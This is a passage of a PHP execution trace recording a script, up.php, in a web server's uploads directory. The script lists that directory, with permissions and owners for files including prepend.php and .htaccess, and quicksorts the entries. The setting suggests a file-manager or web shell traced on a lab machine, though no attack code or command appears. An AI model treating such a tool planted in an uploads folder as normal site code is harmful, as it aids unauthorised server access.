1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
4	163	1	0.008734	799928
4	163	R			6
3		A						/var/www/html/uploads/up.php	907	$files[] = ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
3		A						/var/www/html/uploads/up.php	905	$i++
4	164	0	0.008811	799896	sizeof	0		/var/www/html/uploads/up.php	905	1	[0 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 2 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
4	164	1	0.008956	799928
4	164	R			6
3		A						/var/www/html/uploads/up.php	906	$dirs[] = ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
3		A						/var/www/html/uploads/up.php	905	$i++
4	165	0	0.009032	799896	sizeof	0		/var/www/html/uploads/up.php	905	1	[0 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 2 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
4	165	1	0.009122	799928
4	165	R			6
3		A						/var/www/html/uploads/up.php	907	$files[] = ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']
3		A						/var/www/html/uploads/up.php	905	$i++
4	166	0	0.009194	799896	sizeof	0		/var/www/html/uploads/up.php	905	1	[0 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 2 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
4	166	1	0.009282	799928
4	166	R			6
4	167	0	0.009304	799920	sizeof	0		/var/www/html/uploads/up.php	910	1	[0 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']]
4	167	1	0.009362	799952
4	167	R			3
4	168	0	0.009384	799920	quicksort	1		/var/www/html/uploads/up.php	910	4	[0 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']]	0	2	'filename'
5	169	0	0.009445	799920	floor	0		/var/www/html/uploads/up.php	924	1	1
5	169	1	0.009464	799952
5	169	R			1
4		A						/var/www/html/uploads/up.php	924	$cmp = '.'
4		A						/var/www/html/uploads/up.php	926	$l = 0
4		A						/var/www/html/uploads/up.php	927	$r = 2
4		A						/var/www/html/uploads/up.php	932	$r--
4		A						/var/www/html/uploads/up.php	936	$tmp = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4		A						/var/www/html/uploads/up.php	937	$array[0] = ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4		A						/var/www/html/uploads/up.php	938	$array[1] = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4		A						/var/www/html/uploads/up.php	940	$l++
4		A						/var/www/html/uploads/up.php	941	$r--
5	170	0	0.009686	799920	quicksort	1		/var/www/html/uploads/up.php	947	4	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']]	0	0	'filename'
5	170	1	0.009747	799920
5	171	0	0.009759	799920	quicksort	1		/var/www/html/uploads/up.php	948	4	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']]	1	2	'filename'
6	172	0	0.009830	799920	floor	0		/var/www/html/uploads/up.php	924	1	1.5
6	172	1	0.009851	799952
6	172	R			1
5		A						/var/www/html/uploads/up.php	924	$cmp = '..'
5		A						/var/www/html/uploads/up.php	926	$l = 1
5		A						/var/www/html/uploads/up.php	927	$r = 2
5		A						/var/www/html/uploads/up.php	932	$r--
5		A						/var/www/html/uploads/up.php	936	$tmp = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
5		A						/var/www/html/uploads/up.php	937	$array[1] = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
5		A						/var/www/html/uploads/up.php	938	$array[1] = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
5		A						/var/www/html/uploads/up.php	940	$l++
5		A						/var/www/html/uploads/up.php	941	$r--
6	173	0	0.010042	799920	quicksort	1		/var/www/html/uploads/up.php	947	4	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']]	1	0	'filename'
6	173	1	0.010087	799920
6	174	0	0.010095	799920	quicksort	1		/var/www/html/uploads/up.php	948	4	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']]	2	2	'filename'
6	174	1	0.010138	799920
5	171	1	0.010145	799920
4	168	1	0.010153	799920
4	175	0	0.010161	799944	sizeof	0		/var/www/html/uploads/up.php	913	1	[0 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 1 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
4	175	1	0.010206	799976
4	175	R			3
4	176	0	0.010220	799944	quicksort	1		/var/www/html/uploads/up.php	913	4	[0 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 1 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]	0	2	'filename'
5	177	0	0.010266	799944	floor	0		/var/www/html/uploads/up.php	924	1	1
5	177	1	0.010278	799976
5	177	R			1
4		A						/var/www/html/uploads/up.php	924	$cmp = 'prepend.php'
4		A						/var/www/html/uploads/up.php	926	$l = 0
4		A						/var/www/html/uploads/up.php	927	$r = 2
4		A						/var/www/html/uploads/up.php	936	$tmp = ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']
4		A						/var/www/html/uploads/up.php	937	$array[0] = ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']
4		A						/var/www/html/uploads/up.php	938	$array[2] = ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']
4		A						/var/www/html/uploads/up.php	940	$l++
4		A						/var/www/html/uploads/up.php	941	$r--
4		A						/var/www/html/uploads/up.php	936	$tmp = ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4		A						/var/www/html/uploads/up.php	937	$array[1] = ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4		A						/var/www/html/uploads/up.php	938	$array[1] = ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4		A						/var/www/html/uploads/up.php	940	$l++
4		A						/var/www/html/uploads/up.php	941	$r--
5	178	0	0.010521	799944	quicksort	1		/var/www/html/uploads/up.php	947	4	[0 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]	0	0	'filename'
5	178	1	0.010568	799944
